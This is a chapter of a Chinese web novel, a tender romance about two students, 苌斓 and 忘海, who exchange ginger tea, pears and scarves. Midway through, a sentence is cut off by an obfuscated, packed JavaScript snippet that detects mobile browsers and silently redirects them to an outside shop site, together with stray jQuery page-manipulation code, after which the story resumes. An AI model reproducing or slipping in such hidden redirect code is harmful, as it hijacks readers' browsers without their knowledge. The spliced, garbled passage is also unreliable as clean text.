周四早晨，苌斓是被辣醒的。
不是真的辣。是梦里有人往他嘴里灌姜茶，他皱着眉说太辣了，那人就笑，说“放了一颗红枣，你说只要一点点甜”。然后他醒了。厨房里飘来的不是豆浆的醇香，是生姜特有的、辛辣中带着一丝清甜的气味。姜茶。忘海说话算话。
他翻了个身，摸到手机。一条消息，发自六点三十五分。
“姜茶煮好了。放了一颗红枣，你说的。”
苌斓盯着这行字，把被子往上拉了拉，遮住嘴。然后打字：“一颗红枣不够。姜茶很辣的。”
回复很快。“放了两颗。”
“什么时候放的。”
“昨晚你说一颗不够的时候，就多放了一颗。”
苌斓把手机屏幕按灭，塞进枕头底下。嘴角在黑暗里弯起来。他说一颗不够，忘海就放了两个。什么时候放的？昨晚。在他还不知道自己会嫌辣之前，忘海就已经多放了一颗。
他起床，洗漱，换校服。站在衣柜前，拿起那件深蓝色卫衣，又放下。拿起藏蓝色那件——和忘海保温杯同色的那件。昨天穿的就是这个。他想了想，还是穿了藏蓝色，然后在外面加了一件浅灰色的厚外套。和忘海今天可能会穿的深灰色形成一个深浅搭配。走出房间前，他从床头柜上拿起那颗画着笑脸的花生，放进口袋。
厨房里，父亲正把姜茶从锅里倒进保温杯。看到苌斓，往他手边推了推那个浅蓝色的。“姜茶。你妈昨晚听说你打喷嚏，今早起来煮的。”苌斓愣了一下，端起杯子喝了一口。很辣，但和忘海煮的味道不一样——忘海的姜茶里放了两颗红枣，甜味更重，盖住了一部分辛辣。父亲煮的就是纯粹的姜茶，辣得他眼眶微微发热。但他没有放下杯子，又喝了一口。然后把忘海的深蓝色保温杯也倒满姜茶，放了一颗红枣。
母亲从厨房探出头，手里拿着一个保鲜盒。“今天的水果是梨。润肺。姜茶太辣了，吃完梨会好一点。”她把保鲜盒放进他书包侧袋，然后看了他一眼，伸手整了整他的围巾——灰色那条。动作比之前任何一次都自然。
苌斓站在那里，没有躲。等她整好，轻声说了句“谢谢”。
推开门，冷空气扑面而来。梧桐树光秃秃的枝丫在晨光里微微晃动，地上的落叶被扫成一堆一堆的。苌斓抱着两个保温杯——浅蓝色是自己的，深蓝色是忘海的——加快脚步朝路口走去。
拐过弯角，他看见忘海站在梧桐树下。藏青色厚外套，深灰色围巾——昨天交换的那条，他还没有换回来。头发被风吹得微微翘起，鼻尖微红。看到苌斓，他微微抬了抬下巴。目光先落在苌斓脖子上的围巾上——深灰色，和他脖子上那条灰色的是交换过的——然后落在苌斓怀里的两个保温杯上，弯了一下眼睛。
“早。”
“……早。”苌斓把深蓝色保温杯递过去，“姜茶。放了两颗红枣。你说一颗不够。”
忘海接过杯子，拧开盖子喝了一口。姜的辛辣和红枣的甜味混在一起，从舌尖一直暖到胃里。“两颗刚刚好。”他把自己的保温杯递给苌斓，“也是姜茶。也放了两颗红枣。”
两人同时端着杯子喝了一口。一样的配方，一样的温度。
然后忘海放下杯子，看着苌斓脖子上的围巾——深灰色，他自己的那条。他抬手碰了碰自己脖子上那条灰色——苌斓的。“今天要换回来吗。”
苌斓顿了一下。他低头看了看自己脖子上的深灰色围巾，又看了看忘海脖子上的灰色围巾。两条围巾已经交换了一天一夜，各自的体温和气味都渗进了对方的毛线里。
“……不用。明天再换。”
忘海看着他，微微弯了一下眼睛。“好。”
两人并肩朝学校走去。风很大，梧桐道上落叶翻飞。忘海走在苌斓左侧，身体微微侧向他的方向。苌斓注意到，他每次走到上风口的时候都会自然而然地绕过来，替他挡风。这个动作已经重复了无数次，从第一次交换围巾那天就开始了。苌斓没有戳穿，只是把脚步放慢了一点，让并肩走的距离缩短了半寸。
“你昨晚咳嗽了吗。”忘海忽然问。
“……没有。就是打了几个喷嚏。”
“几个。”
“五六个吧。”
忘海沉默了片刻。“那我明天还是带姜茶。”
“不用。明天豆浆机修好了吗。”
“还没。周末去买零件。”
“……那明天还是姜茶。加一颗红枣就行，两颗太甜了。”
忘海的脚步微微顿了一下。太甜了。这是苌斓第三次说“太甜了”。第一次是蜂蜜，第二次是——他想起那张纸条，正面写着“太甜了”，背面写着“是你”。他没有追问，只是轻轻应了一声：“好。明天一颗红枣。”
苌斓没有再说话，把围巾往上拉了拉，遮住了半张脸。围巾上两种洗衣液的味道已经混合得分不清彼此。
走到高二教学楼门口，苌斓停下来。忘海也停下来。两人隔着半步的距离，沉默了片刻。
“中午，”苌斓没有回头，“天台见。”
“好。”
“姜茶太辣了。我带了梨。”
忘海微微愣了一下。
苌斓从书包侧袋里拿出保鲜盒，打开盖子，里面是母亲切好的梨，切成小块，每一块都仔细去了核。“分你一半。润肺。”
忘海低头看着那盒梨。这是苌斓第一次主动分东西给他。之前都是他给——保温杯、核桃酥、芝麻糊、花生酥、红枣饼干。现在苌斓说，分你一半。他接过保鲜盒，拿了一块梨放进嘴里。很甜，很脆，汁水在舌尖炸开。
“很甜。”他说。
苌斓把保鲜盒盖好，放回书包侧袋。“……不是给你的。是让你润肺的。你也打喷嚏了。”
忘海看着他泛红的耳尖，没有戳穿。“嗯。润肺。”
苌斓转身推开玻璃门，走了两步又停住。没有回头，声音压得很低：“姜茶还有。下午放学你如果咳了，我保温杯里还有半杯。”
然后快步走进了教学楼。
忘海站在原地，捧着保鲜盒，看着那道藏蓝色的背影消失在楼道里。他低头又拿了一块梨放进嘴里，很甜。不知道是梨本身甜，还是因为这是苌斓第一次分给他的东西。
上午第二节课后，苌斓在走廊里碰到同桌。同桌正趴在栏杆上晒太阳，看到苌斓端着一个保温杯走过来，好奇地问今天是什么味道。苌斓把杯子往怀里收了收，说姜茶。同桌皱了皱鼻子，说姜茶很辣的。苌斓没有否认，只是端起杯子喝了一口，然后嘴角极淡地弯了一下。
同桌捕捉到了那个弧度。他凑近了，压低声音：“你最近一直在笑。你自己知道吗。”
苌斓的表情迅速恢复冷淡。“没有。”
“有。刚才你喝姜茶的时候笑了。姜茶那么辣，你笑什么。”
苌斓把杯盖拧紧，转身往教室走。“……姜茶里放了红枣。”
同桌站在原地，看着苌斓的背影，然后用一种恍然大悟的语气对走廊另一头喊道：“红枣！又是那个学弟送的！绝对是！”后排女生从教室里探出头，疯狂点头。
午休的时候，苌斓去了天台。忘海已经站在围栏边了，脖子上围着灰色围巾。听到脚步声，他转过身，手里拿着两个保温杯——深蓝色和浅蓝色并排放在矮墙上。
“姜茶还热，”他说，“给你留了半杯。”
苌斓走过去，接过浅蓝色保温杯，拧开盖子喝了一口。温度刚好，不烫嘴也不凉。姜的辛辣已经淡了很多，红枣的甜味更明显了。他把保鲜盒拿出来，打开盖子，放在两人之间的矮墙上。
“梨。早上说好的。一人一半。”
两人并肩靠在围栏上，端着各自的保温杯，分享同一盒梨。天台上很安静，只有风声和远处操场上传来的嬉闹声。
苌斓吃了几块梨，忽然开口：“你口袋里那颗核桃……还在吗。”
忘海放下杯子，从口袋里掏出一颗核桃。壳上的纹路均匀分布，被他摩挲得微微发亮。
“在。”
苌斓看了一眼那颗核桃，然后从自己口袋里掏出那颗画着笑脸的花生，放在掌心里。“你给我的都在。花生，核桃，纸条。”他顿了顿，“还有奶糖的包装纸。”
忘海的动作停了一下。奶糖的包装纸。那天傍晚在校门口，苌斓塞进他手心里的那颗。苌斓把包装纸留下来了——一张皱巴巴的蓝色糖纸。
“你什么时候开始留的。”
“从你第一次给我糖那天。”苌斓把花生放回口袋，端起保温杯喝了一口姜茶。“太辣了。”他皱着眉说。但嘴角的弧度怎么压也压不住。
忘海看着他，弯起眼睛。“明天少放点姜。”
“不是姜的问题。”苌斓把杯子放在矮墙上，看着远处的梧桐林。“是你每次都站在风口等我。手冻红了，围巾也不系。姜茶煮好了自己先尝过温度，觉得不烫了才装进保温杯。核桃磨三遍，芝麻磨四遍，红枣切碎了打，花生炒过再磨。每次都说顺路，每次都提前十五分钟到。被你这样惯着，姜茶能不辣吗。”他转过头，看向忘海，“你对我太好了。太好太好。好到我有时候不知道该怎么办。我又不会说好话，又不会表达，连谢谢都说不利索。只会说太甜了、太辣了、不用了、别来了。但你知道我不是那个意思。”
忘海沉默了很长时间。然后他把那颗核桃放回口袋，上前半步。很近，近得能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724377|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看清苌斓睫毛在阳光下的阴影。
“我知道。”他的声音很轻，“你说太甜了，就是喜欢。你说太辣了，就是感动。你说不用了，是在害怕——怕欠我太多，怕回应不了。你说别来了，是怕我在冷风里等太久。”他微微弯了一下眼睛，“我都知道。所以不用谢。不用觉得欠我。你站在路口每天准时出现，就是最好的回应。你把围巾绕在我脖子上，就是我收到的最好的谢谢。”
苌斓垂下眼，喉结微微滚动了一下。过了很久，他端起保温杯喝了一口姜茶。还是很辣，但他没有皱眉。
“……明天还是姜茶。一颗红枣。你说的。”
“好。”
放学的时候，苌斓收拾书包的速度已经恢复正常了——不快，但也不像之前那么慢。走出教学楼，梧桐道上夕阳正好。忘海站在校门口的梧桐树下，手里拎着一个袋子。
“养母做的是姜糖。她说姜茶太辣了，姜糖比较温和。”
苌斓接过袋子，里面照例有一包是单独包装的。他这次没有问为什么，只是把那包姜糖放进口袋。然后从书包侧袋里拿出一个东西，递过去。
“给你的。”
忘海低头看着掌心里那条围巾。灰色的，和苌斓脖子上那条一模一样。但不是同一条——这条是新的，毛线更柔软，没有洗过的痕迹，末端织着一圈简单的波纹纹路。
“你那条灰色的不是在我脖子上吗。”忘海说。
“这是我妈新织的。她问我围巾怎么少了一条，我说给同学了。她没问是哪个同学。第二天就织了一条新的。”苌斓顿了顿，“她说天冷了，多一条换着戴。”
忘海低头看着手里那条新围巾。和苌斓脖子上那条灰色的是同一个款式，同一个颜色，同一个人的手工。他想起自己口袋里那条深灰色围巾——养母织的，织了一个冬天。现在他有了两条。一条是养母的深灰色，一条是苌斓母亲的灰色。
他把新围巾绕在脖子上。两条围巾叠在一起——一条是苌斓的旧围巾，被他戴了一天一夜；一条是新的，刚织好，还带着淡淡的毛线清香。
“替我谢谢你妈妈。”
苌斓看着他脖子上两条叠在一起的灰色围巾，耳根微微泛红。“……你自己去谢。她让你周末来家里吃饭。饺子。芹菜馅的。”
忘海弯起眼睛。“好。”
两人在校门口站了片刻。夕阳落在他们肩头，梧桐树的影子被拉得很长。
“明天早上，”苌斓说，“姜茶。一颗红枣。”
“好。”
“围巾还换不换。”
忘海低头看了看自己脖子上的两条灰色围巾，又看了看苌斓脖子上的深灰色——他的那条。“你想换就换。”
苌斓沉默了一会儿。然后他把脖子上的深灰色围巾解下来，绕在忘海脖子上。又把自己那条灰色围巾从忘海脖子上解下来，绕在自己脖子上。两条围巾在交换，但颜色已经混在一起分不清了——深灰色、灰色、新灰色，三条围巾在两个人之间换来换去。
“……明天继续换。每天换一条。”
“为什么。”
苌斓把围巾往上拉了拉，遮住半张脸。“……这样每天都有理由帮你系围巾。”
他说完转身就走，脚步很快，一步也没有回头。忘海站在原地，看着那道藏蓝色的背影消失在夕阳里。他脖子上裹着两条围巾——一条深灰色，一条新灰色。被两条围巾包裹的脖子很暖和，但他的心跳更暖。
他把手伸进口袋，摸到那颗核桃、那张纸条、那颗奶糖、那片纸巾、那颗花生。然后从口袋里拿出那包单独包装的姜糖，拆开，放进嘴里。姜的辛辣和麦芽糖的甜味混合在一起。很甜。但不是姜糖的甜。
晚上，苌斓躺在床上。手机屏幕亮着。
“姜糖好吃吗。”
“太甜了。”
“那明天姜茶少放一颗红枣。”
“……不是姜糖甜。”
对方沉默了片刻。然后消息进来了。
“那是什么。”
苌斓盯着这行字，打了很久的字。最后只发了三个字。
“你知道。”
忘海的回复很快。只有一个表情。还是那个小人靠在墙边的表情，旁边跟着一颗小小的红心。但这次红心旁边多了一颗——两颗红心挨在一起，被一根细细的线牵着，像一颗很小的气球带着另一颗很小的气球。
苌斓把手机屏幕按灭，塞进枕头底下，翻了个身，把脸埋进枕头里。枕头很软，带着淡淡的花香。他的耳根在黑暗里烧得滚烫。
明天早上，姜茶加一颗红枣。围巾换一条。保温杯里倒半杯给忘海。他说分你一半。
明天见。